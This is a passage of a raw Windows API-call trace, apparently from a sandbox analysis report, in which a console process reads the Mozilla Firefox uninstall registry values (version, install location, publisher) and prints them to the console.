0x50 [0149.099] _errno () returned 0x204bb0 [0149.099] GetFileType (hFile=0x50) returned 0x1 [0149.099] lstrlenW (lpString="\n") returned 1 [0149.099] GetConsoleOutputCP () returned 0x1b5 [0149.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.099] GetConsoleOutputCP () returned 0x1b5 [0149.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.099] GetProcessHeap () returned 0x3c0000 [0149.099] GetProcessHeap () returned 0x3c0000 [0149.099] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.099] GetProcessHeap () returned 0x3c0000 [0149.099] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x46 [0149.099] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00 | out: hHeap=0x3c0000) returned 1 [0149.100] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.100] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc) returned 0x0 [0149.100] GetProcessHeap () returned 0x3c0000 [0149.100] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xe) returned 0x3df290 [0149.100] GetProcessHeap () returned 0x3c0000 [0149.100] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.100] GetProcessHeap () returned 0x3c0000 [0149.100] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xe [0149.100] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0xc | out: pdwType=0x29f700*=0x1, pvData="25.0", pcbData=0x29f780*=0xa) returned 0x0 [0149.100] __iob_func () returned 0x7fefd702a80 [0149.100] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.100] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.100] _fileno (_File=0x7fefd702ab0) returned 1 [0149.100] _errno () returned 0x204bb0 [0149.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.100] _errno () returned 0x204bb0 [0149.100] GetFileType (hFile=0x50) returned 0x1 [0149.100] lstrlenW (lpString=" ") returned 4 [0149.100] GetConsoleOutputCP () returned 0x1b5 [0149.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.100] GetConsoleOutputCP () returned 0x1b5 [0149.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.100] lstrlenW (lpString="DisplayVersion") returned 14 [0149.100] __iob_func () returned 0x7fefd702a80 [0149.100] _fileno (_File=0x7fefd702ab0) returned 1 [0149.100] _errno () returned 0x204bb0 [0149.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.101] _errno () returned 0x204bb0 [0149.101] GetFileType (hFile=0x50) returned 0x1 [0149.101] lstrlenW (lpString="DisplayVersion") returned 14 [0149.101] GetConsoleOutputCP () returned 0x1b5 [0149.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.101] GetConsoleOutputCP () returned 0x1b5 [0149.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.101] __iob_func () returned 0x7fefd702a80 [0149.101] _fileno (_File=0x7fefd702ab0) returned 1 [0149.101] _errno () returned 0x204bb0 [0149.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.101] _errno () returned 0x204bb0 [0149.101] GetFileType (hFile=0x50) returned 0x1 [0149.101] lstrlenW (lpString=" ") returned 4 [0149.101] GetConsoleOutputCP () returned 0x1b5 [0149.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.101] GetConsoleOutputCP () returned 0x1b5 [0149.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.102] __iob_func () returned 0x7fefd702a80 [0149.102] _fileno (_File=0x7fefd702ab0) returned 1 [0149.102] _errno () returned 0x204bb0 [0149.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.102] _errno () returned 0x204bb0 [0149.102] GetFileType (hFile=0x50) returned 0x1 [0149.102] lstrlenW (lpString="REG_SZ") returned 6 [0149.102] GetConsoleOutputCP () returned 0x1b5 [0149.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.102] GetConsoleOutputCP () returned 0x1b5 [0149.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.102] __iob_func () returned 0x7fefd702a80 [0149.102] _fileno (_File=0x7fefd702ab0) returned 1 [0149.102] _errno () returned 0x204bb0 [0149.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.102] _errno () returned 0x204bb0 [0149.102] GetFileType (hFile=0x50) returned 0x1 [0149.102] lstrlenW (lpString=" ") returned 4 [0149.102] GetConsoleOutputCP () returned 0x1b5 [0149.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.103] GetConsoleOutputCP () returned 0x1b5 [0149.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.103] __iob_func () returned 0x7fefd702a80 [0149.103] _fileno (_File=0x7fefd702ab0) returned 1 [0149.103] _errno () returned 0x204bb0 [0149.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.103] _errno () returned 0x204bb0 [0149.103] GetFileType (hFile=0x50) returned 0x1 [0149.103] lstrlenW (lpString="25.0") returned 4 [0149.103] GetConsoleOutputCP () returned 0x1b5 [0149.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="25.0", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.103] GetConsoleOutputCP () returned 0x1b5 [0149.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="25.0", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="25.0", lpUsedDefaultChar=0x0) returned 4 [0149.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.103] __iob_func () returned 0x7fefd702a80 [0149.103] _fileno (_File=0x7fefd702ab0) returned 1 [0149.103] _errno () returned 0x204bb0 [0149.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.103] _errno () returned 0x204bb0 [0149.104] GetFileType (hFile=0x50) returned 0x1 [0149.104] lstrlenW (lpString="\n") returned 1 [0149.104] GetConsoleOutputCP () returned 0x1b5 [0149.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.104] GetConsoleOutputCP () returned 0x1b5 [0149.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0xe [0149.104] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.104] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.104] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x50) returned 0x0 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x52) returned 0x3db830 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.104] GetProcessHeap () returned 0x3c0000 [0149.104] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.104] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x50 | out: pdwType=0x29f700*=0x1, pvData="C:\\Program Files (x86)\\Mozilla Firefox", pcbData=0x29f780*=0x4e) returned 0x0 [0149.104] __iob_func () returned 0x7fefd702a80 [0149.104] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.104] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.104] _fileno (_File=0x7fefd702ab0) returned 1 [0149.105] _errno () returned 0x204bb0 [0149.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.105] _errno () returned 0x204bb0 [0149.105] GetFileType (hFile=0x50) returned 0x1 [0149.105] lstrlenW (lpString=" ") returned 4 [0149.105] GetConsoleOutputCP () returned 0x1b5 [0149.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.105] GetConsoleOutputCP () returned 0x1b5 [0149.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.105] lstrlenW (lpString="InstallLocation") returned 15 [0149.105] __iob_func () returned 0x7fefd702a80 [0149.105] _fileno (_File=0x7fefd702ab0) returned 1 [0149.105] _errno () returned 0x204bb0 [0149.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.105] _errno () returned 0x204bb0 [0149.105] GetFileType (hFile=0x50) returned 0x1 [0149.105] lstrlenW (lpString="InstallLocation") returned 15 [0149.105] GetConsoleOutputCP () returned 0x1b5 [0149.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.105] GetConsoleOutputCP () returned 0x1b5 [0149.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0149.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.106] __iob_func () returned 0x7fefd702a80 [0149.106] _fileno (_File=0x7fefd702ab0) returned 1 [0149.106] _errno () returned 0x204bb0 [0149.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.106] _errno () returned 0x204bb0 [0149.106] GetFileType (hFile=0x50) returned 0x1 [0149.106] lstrlenW (lpString=" ") returned 4 [0149.106] GetConsoleOutputCP () returned 0x1b5 [0149.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.106] GetConsoleOutputCP () returned 0x1b5 [0149.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.106] __iob_func () returned 0x7fefd702a80 [0149.106] _fileno (_File=0x7fefd702ab0) returned 1 [0149.106] _errno () returned 0x204bb0 [0149.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.106] _errno () returned 0x204bb0 [0149.106] GetFileType (hFile=0x50) returned 0x1 [0149.106] lstrlenW (lpString="REG_SZ") returned 6 [0149.106] GetConsoleOutputCP () returned 0x1b5 [0149.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.107] GetConsoleOutputCP () returned 0x1b5 [0149.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.107] __iob_func () returned 0x7fefd702a80 [0149.107] _fileno (_File=0x7fefd702ab0) returned 1 [0149.107] _errno () returned 0x204bb0 [0149.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.107] _errno () returned 0x204bb0 [0149.107] GetFileType (hFile=0x50) returned 0x1 [0149.107] lstrlenW (lpString=" ") returned 4 [0149.107] GetConsoleOutputCP () returned 0x1b5 [0149.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.107] GetConsoleOutputCP () returned 0x1b5 [0149.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.107] __iob_func () returned 0x7fefd702a80 [0149.107] _fileno (_File=0x7fefd702ab0) returned 1 [0149.107] _errno () returned 0x204bb0 [0149.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.108] _errno () returned 0x204bb0 [0149.108] GetFileType (hFile=0x50) returned 0x1 [0149.108] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0149.108] GetConsoleOutputCP () returned 0x1b5 [0149.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Firefox", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.108] GetConsoleOutputCP () returned 0x1b5 [0149.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Mozilla Firefox", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Mozilla Firefox", lpUsedDefaultChar=0x0) returned 38 [0149.108] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.108] __iob_func () returned 0x7fefd702a80 [0149.108] _fileno (_File=0x7fefd702ab0) returned 1 [0149.108] _errno () returned 0x204bb0 [0149.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.108] _errno () returned 0x204bb0 [0149.108] GetFileType (hFile=0x50) returned 0x1 [0149.108] lstrlenW (lpString="\n") returned 1 [0149.108] GetConsoleOutputCP () returned 0x1b5 [0149.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.108] GetConsoleOutputCP () returned 0x1b5 [0149.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.109] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.109] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0149.109] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.109] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.109] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x12) returned 0x0 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3df290 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.109] GetProcessHeap () returned 0x3c0000 [0149.109] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x14 [0149.109] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x12 | out: pdwType=0x29f700*=0x1, pvData="Mozilla", pcbData=0x29f780*=0x10) returned 0x0 [0149.109] __iob_func () returned 0x7fefd702a80 [0149.109] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.109] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.109] _fileno (_File=0x7fefd702ab0) returned 1 [0149.109] _errno () returned 0x204bb0 [0149.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.109] _errno () returned 0x204bb0 [0149.109] GetFileType (hFile=0x50) returned 0x1 [0149.109] lstrlenW (lpString=" ") returned 4 [0149.109] GetConsoleOutputCP () returned 0x1b5 [0149.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.110] GetConsoleOutputCP () returned 0x1b5 [0149.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.110] lstrlenW (lpString="Publisher") returned 9 [0149.110] __iob_func () returned 0x7fefd702a80 [0149.110] _fileno (_File=0x7fefd702ab0) returned 1 [0149.110] _errno () returned 0x204bb0 [0149.110] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.110] _errno () returned 0x204bb0 [0149.110] GetFileType (hFile=0x50) returned 0x1 [0149.110] lstrlenW (lpString="Publisher") returned 9 [0149.110] GetConsoleOutputCP () returned 0x1b5 [0149.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.110] GetConsoleOutputCP () returned 0x1b5 [0149.110] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.110] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.110] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.110] __iob_func () returned 0x7fefd702a80 [0149.110] _fileno (_File=0x7fefd702ab0) returned 1 [0149.111] _errno () returned 0x204bb0 [0149.111] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.111] _errno () returned 0x204bb0 [0149.111] GetFileType (hFile=0x50) returned 0x1 [0149.111] lstrlenW (lpString=" ") returned 4 [0149.111] GetConsoleOutputCP () returned 0x1b5 [0149.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.111] GetConsoleOutputCP () returned 0x1b5 [0149.111] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.111] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.111] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.111] __iob_func () returned 0x7fefd702a80 [0149.111] _fileno 